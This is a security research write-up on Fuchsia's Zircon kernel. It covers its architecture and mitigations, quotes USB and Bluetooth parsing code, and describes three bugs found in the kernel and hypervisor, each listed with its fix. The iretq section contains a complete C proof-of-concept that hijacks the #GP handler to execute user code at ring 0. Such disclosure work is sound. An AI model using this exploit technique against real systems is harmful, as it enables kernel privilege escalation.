Components

The system is organised in components which run in userland. The network stack, for example, is a component that runs in userland. The USB drivers, too, are components that run in userland.

The components interact with one another via IPCs, the interfaces of which we won't discuss here.

There is no strict programming language requirements for components: they can be written in C++, Rust, Go, or other, and interact via IPCs without problems. For example, the USB drivers are written in C++, and the network stack is instead coded in Rust.

When it comes to device drivers, they get folded together in processes called devhosts. A devhost is a process that contains several layers of a driver stack. For example:

There are three devhosts here. The Devhost Process 3 for example contains the AHCI driver, the SATA driver, and the MinFS and BlobFS file systems. All of these components live within the same process.

This kind of weakens the segmentation model because now several components are actually part of the same process, so a vulnerability in one component will affect the other components of the process too. However, it appears that devhosts are organized in a way that only a single device stack can be in a process, typically implying that it's not possible to have the USB driver and the SATA driver in the same devhost. Therefore, the benefits of the segmentation model hold.

Process isolation

Zircon protects its memory and that of the processes by using the CPU's MMU (Memory Management Unit), in a manner that is typical of modern OSes: each process has an address space, and this address space is context-switched by Zircon.

Contrary to other OSes however, the IOMMU (Input-Output MMU), plays an important role on Zircon: it is programmed by the kernel so that each devhost process can perform DMA operations only on its own address space and not outside.

The IOMMU is therefore as important as the MMU to ensure process isolation, because without it, a devhost process could simply perform DMA operations against the kernel pages and overwrite their contents.

Additionally, on x86, the TSS I/O Bitmap (Task State Segment) is used to limit access to I/O ports, in a way that is not relevant to discuss here.

Namespaces

In Fuchsia, there is no "unified" filesystem visible by user processes. Each process has its own virtual filesystem, called a namespace. The namespace contains objects, which can be files, services, devices. These objects are ordered in a hierarchy, and accessible using file paths with the usual POSIX functions such as open().

Several paths are of interest. One is the directory /svc/, which contains service objects, for instance /svc/fuchsia.hardware.usb.device; these are typically objects on which IPCs can be performed. That is to say, one component can expose IPCs via a service object in /svc/, and other components can access these IPCs by accessing this service object in their respective namespaces.

The namespace is created along with the process when it spawns. It is possible to use a manifest file to dictate which paths/objects will be present within the namespace hierarchy, thereby providing a sandboxing mechanism that limits which IPCs a process will be able to access.

It is to be noted that the notion of namespace lives within the user processes, but not in the kernel. It can be seen as a convenient, easy-to-use interface for developers to handle objects; but the reality is that the kernel has no understanding of the namespace, of its hierarchy, and of its objects. The only thing the kernel is aware of, is handles.

Handles

Zircon manages accesses to components via handles, which can be seen as file descriptors on Unix, or general access tokens.

Without going into boring details, the objects in the namespace are basically backed by handles, and a path in the namespace actually corresponds to a handle. Again, the kernel doesn't know anything about the namespaces and their objects, it only knows about handles. Namespaces live in userland and can be seen as big user-friendly wrappers around handles.

Handles have a kind and a right. The Zircon syscalls, for the vast majority, depend on handles to manage access rights. To access certain classes of syscalls, a handle must be of the right kind, and to do specific operations with a syscall, the handle must also have the right right.

It is to be noted that the kernel has no understanding of the notion of user, contrary to Unix systems.

Everything comes down to the notion of handle, and that's what we are mainly interested in from a security point of view: attackers will typically try to obtain better handles than the ones they have.

Syscalls

Although not always up-to-date, the official documentation is rather clear, and nothing particular needs to be highlighted. It shows which handles are required to perform which classes of syscalls.

Mitigations and security practices

In terms of mitigations, Fuchsia uses ASLR (mandatory for userland), DEP, SafeStack, ShadowCallStack, AutoVarInit. The Zircon kernel is compiled with all of that by default.

When it comes to security practices, it can be noted in the Fuchsia code that a lot of (all?) components have associated unit tests and fuzzers. The fuzzing is done via libfuzzer to fuzz internal structures within components, and via syzkaller to fuzz the user-exposed syscalls. There is also support for the ASan and UBSan sanitizers, however no MSan or TSan support seems to be present.

Finally when it comes to programming languages, as said earlier, the components can be written in C++, Go, Rust. Arguably the language most prone to programming errors used here is C++. For C++ code, the components usually override several operators to perform sanity checks; for example, the [] operator (used when accessing arrays) is often overloaded to make sure that the index is in the range of the array and doesn't overflow or underflow. Therefore, even on "error-prone" languages, some security measures are proactively put in place.

USB stack

// read configuration descriptor header to determine size
usb_configuration_descriptor_t config_desc_header;
size_t actual;
status = GetDescriptor(USB_DT_CONFIG, config, 0, &config_desc_header,
                       sizeof(config_desc_header), &actual);
if (status == ZX_OK && actual != sizeof(config_desc_header)) {
  status = ZX_ERR_IO;
}
if (status != ZX_OK) {
  zxlogf(ERROR, "%s: GetDescriptor(USB_DT_CONFIG) failed\n", __func__);
  return status;
}
uint16_t config_desc_size = letoh16(config_desc_header.wTotalLength);
auto* config_desc = new (&ac) uint8_t[config_desc_size];
if (!ac.check()) {
  return ZX_ERR_NO_MEMORY;
}
config_descs_[config].reset(config_desc, config_desc_size);

// read full configuration descriptor
status = GetDescriptor(USB_DT_CONFIG, config, 0, config_desc, config_desc_size, &actual);
if (status == ZX_OK && actual != config_desc_size) {
  status = ZX_ERR_IO;
}
if (status != ZX_OK) {
  zxlogf(ERROR, "%s: GetDescriptor(USB_DT_CONFIG) failed\n", __func__);
  return status;
}

zx_status_t HidDevice::HidDeviceGetReport(hid_report_type_t rpt_type, uint8_t rpt_id,
                                          uint8_t* out_report_data, size_t report_count,
                                          size_t* out_report_actual) {
  input_report_size_t needed = GetReportSizeById(rpt_id, static_cast<ReportType>(rpt_type));
  if (needed == 0) {
    return ZX_ERR_NOT_FOUND;
  }
  if (needed > report_count) {
    return ZX_ERR_BUFFER_TOO_SMALL;
  }

  uint8_t report[HID_MAX_REPORT_LEN];
  size_t actual = 0;
  zx_status_t status = hidbus_.GetReport(rpt_type, rpt_id, report, needed, &actual);
  /* ... */
}

Bluetooth stack

ResponseT rsp(status);
if (status == Status::kReject) {
  if (!rsp.ParseReject(rsp_payload)) {
    bt_log(TRACE, "l2cap", "cmd: ignoring malformed Command Reject, size %zu",
           rsp_payload.size());
    return ResponseHandlerAction::kCompleteOutboundTransaction;
  }
  return InvokeResponseCallback(&rsp_cb, std::move(rsp));
}

bool CommandHandler::Response::ParseReject(const ByteBuffer& rej_payload_buf) {
  auto& rej_payload = rej_payload_buf.As<CommandRejectPayload>();
  reject_reason_ = static_cast<RejectReason>(letoh16(rej_payload.reason));
  /* ... */
}

// Converts the underlying buffer to the given type with bounds checking. The buffer is allowed
// to be larger than T. The user is responsible for checking that the first sizeof(T) bytes
// represents a valid instance of T.
template <typename T>
const T& As() const {
  // std::is_trivial_v would be a stronger guarantee that the buffer contains a valid T object,
  // but would disallow casting to types that have useful constructors, which might instead cause
  // uninitialized field(s) bugs for data encoding/decoding structs.
  static_assert(std::is_trivially_copyable_v<T>, "Can not reinterpret bytes");
  ZX_ASSERT(size() >= sizeof(T));
  return *reinterpret_cast<const T*>(data());
}

Status ServiceSearchResponse::Parse(const ByteBuffer& buf) {
  /* ... */
  if (buf.size() < (2 * sizeof(uint16_t))) {
    bt_log(SPEW, "sdp", "Packet too small to parse");
    return Status(HostError::kPacketMalformed);
  }
  /* ... */
  size_t read_size = sizeof(uint16_t);
  /* ... */
  uint16_t record_count = betoh16(buf.view(read_size).As<uint16_t>());
  read_size += sizeof(uint16_t);
  if ((buf.size() - read_size - sizeof(uint8_t)) < (sizeof(ServiceHandle) * record_count)) {
    bt_log(SPEW, "sdp", "Packet too small for %d records", record_count);
    return Status(HostError::kPacketMalformed);
  }
  for (uint16_t i = 0; i < record_count; i++) {
    auto view = buf.view(read_size + i * sizeof(ServiceHandle));
    service_record_handle_list_.emplace_back(betoh32(view.As<uint32_t>()));
  }
  /* ... */
}

const BufferView ByteBuffer::view(size_t pos, size_t size) const {
  ZX_ASSERT_MSG(pos <= this->size(), "invalid offset (pos = %zu)", pos);
  return BufferView(data() + pos, std::min(size, this->size() - pos));
}

Hypervisor vmcall bug

Fuchsia comes with an embedded hypervisor for both AArch64 and x86_64. It is not completely clear why this hypervisor is present; possibly, to facilitate the transition to Fuchsia, by having a guest Android or Chrome OS system run in a VM and execute Android or Chrome OS applications.

On x86, we noticed a bug in the handling of the vmcall instruction VMEXITs.

The hypervisor implements a pvclock service on vmcall. With this service, the guest kernel can ask the time to the hypervisor, by executing the vmcall instruction with a guest physical address (GPA) as argument. The hypervisor writes the time structure into the given GPA in memory.

However, the vmcall instruction is actually legal in the guest userland, and the hypervisor does not verify that the vmcall came from the guest kernel. Therefore, the guest userland can just execute vmcall with whatever GPA and have the guest kernel memory be overwritten.

This can be used in privilege escalations from the guest userland to the guest kernel. Once in the guest kernel, the attacker has more hypervisor interfaces available, and from there a VM escape vulnerability can be researched and leveraged.

Fix: [hypervisor][x86] Check CPL when handling a VMCALL.

Kernel mishandling of MXCSR

The zx_thread_write_state() syscall allows to set the registers of a suspended thread. This syscall is accessible with just a handle on the thread, and thread creation is allowed by default to any userland program, so we can invoke this syscall.

Among others, this syscall allows to modify the registers encoding the FPU state, and in particular the MXCSR register on x86. This is basically a 32-bit register that has reserved bits that should remain set to zero. The problem is, Zircon doesn't disallow modifications to these reserved bits.

By using zx_thread_write_state() we can set MXCSR to 0xFFFFFFFF, and when the suspended thread resumes a fatal #GP exception is raised, resulting in a kernel panic:

Of course, this is only an unexploitable panic, but we're making progress: at least we managed to hit the kernel.

Fix: [zircon][debugger] Don't write reserved part of mxcsr register.

Kernel mishandling of iretq

On x86, in order to return from an interrupt or an exception, the iretq instruction is used. This instruction will fault (#GP) if attempting to return to a non-canonical address, that is to say, if the return address is in the range 0x0000800000000000-0xFFFF7FFFFFFFFFFF.

This fault is special: it is received with the userland thread-local storage (TLS) already loaded in the gs.base register, but with the CPL (Current Privilege Level) of the kernel. The gs.base register is basically a 64-bit register that holds a pointer to the TLS.

The #GP handler must be careful to switch back to the kernel TLS before continuing.

Two bugs were noticed on Fuchsia:

1. Zircon does not verify that the return addresses are canonical when returning from an interrupt or exception handler.
2. Zircon does not handle correctly the iretq-generated faults, and doesn't restore the kernel TLS in the #GP handler.

The combination of the two means that it is possible to make iretq fault in the kernel, and to have the fault handler execute with the userland TLS!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <pthread.h>
#include <zircon/syscalls.h>
#include <zircon/threads.h>
#include <zircon/process.h>
#include <zircon/syscalls/debug.h>

#define __aligned(x)    __attribute__((__aligned__(x)))
#define __barrier()     __asm __volatile("":::"memory")
#define PAGE_SIZE       4096

volatile zx_handle_t MyThreadHandle;
volatile int Ready;
volatile int Resume;

uint8_t FakeThread[PAGE_SIZE] __aligned(PAGE_SIZE);
uint8_t FakeUStack[PAGE_SIZE] __aligned(PAGE_SIZE);

/*
 * Short, simplified version of "struct x86_percpu". We are mainly interested
 * in "gpf_return_target" here, because it dictates where the #GP handler
 * returns. We make it point to a userland address.
 */
union {
        struct FakeCpu {
                void *direct;
                void *current_thread;
                uintptr_t stack_guard;
                uintptr_t kernel_unsafe_sp;
                uintptr_t saved_user_sp;
                uint32_t blocking_disallowed;
                volatile uint8_t *monitor;
                void *idle_states;
                uint32_t apic_id;
                uintptr_t gpf_return_target;
        } FakeCpu;
        uint8_t raw[2*PAGE_SIZE];
} FakeTls __aligned(PAGE_SIZE);

/* -------------------------------------------------------------------------- */

/*
 * This function runs as ring0, with the context of MyThread(). Put whatever
 * you want in it, this basically executes as kernel code.
 */
static void RunAsRing0(void)
{
        __asm volatile (
                /* ... */
                "1: jmp 1b\n"
        );
}

/*
 * Expose the handle of the thread. Kinda annoying to do, I didn't find a way
 * to retrieve that handle from the parent thread directly (the thing is hidden
 * inside pthread etc).
 */
static void *MyThread(void *arg)
{
        printf("[Thread] Started\n");
        MyThreadHandle = zx_thread_self();
        __barrier();
        Ready = 1;
        __barrier();
        while (!Resume);
        printf("[Thread] Resumed\n");
        return NULL;
}

int main(int argc, char** argv)
{
        zx_thread_state_general_regs_t regs;
        zx_handle_t token;
        zx_status_t res;
        pthread_t thid;

        pthread_create(&thid, NULL, MyThread, NULL);

        /*
         * Wait for the handle to be exposed...
         */
        while (!Ready);

        printf("[Main] Ready\n");

        res = zx_task_suspend(MyThreadHandle, &token);
        if (res != ZX_OK) {
                printf("[Main] zx_task_suspend failed: %d\n", res);
                return 0;
        }
        printf("[Main] Suspended\n");

        FakeTls.FakeCpu.direct = &FakeTls;
        FakeTls.FakeCpu.current_thread = FakeThread;
        FakeTls.FakeCpu.gpf_return_target = (uintptr_t)&RunAsRing0;
        FakeTls.FakeCpu.kernel_unsafe_sp = (uintptr_t)&FakeUStack[PAGE_SIZE];

        res = zx_thread_read_state(MyThreadHandle,
            ZX_THREAD_STATE_GENERAL_REGS, &regs, sizeof(regs));
        if (res != ZX_OK) {
                printf("[Main] zx_thread_read_state failed: %d\n", res);
                return 0;
        }

        regs.gs_base = (uintptr_t)&FakeTls; /* Our fake TLS */
        regs.rip = 0x00FFFFFFFFFFFFFF; /* A non-canonical address */

        res = zx_thread_write_state(MyThreadHandle,
            ZX_THREAD_STATE_GENERAL_REGS, &regs, sizeof(regs));
        if (res != ZX_OK) {
                printf("[Main] zx_thread_write_state failed: %d\n", res);
                return 0;
        }

        Resume = 1;
        zx_handle_close(token); /* The thread resumes */

        pthread_join(thid, NULL);
        printf("[Main] Survived! Exploit failed?!\n");
        return 0;
}

Others

Some other uninteresting bugs were found, such as:

• Divisions by zero in USB drivers, which would only kill the USB user process with no effect on the kernel and components;
• kernel stack info leaks caused by lack of initialization on structures copied to userland, which are actually mitigated by AutoVarInit, a compiler feature that initializes buffers automatically;
• out-of-bounds accesses in the Bluetooth stack, which are mitigated by sanity checks within C++ methods and operators; and
• bluetooth DoSes where an attacker could use up the component's memory, but again without affecting the kernel.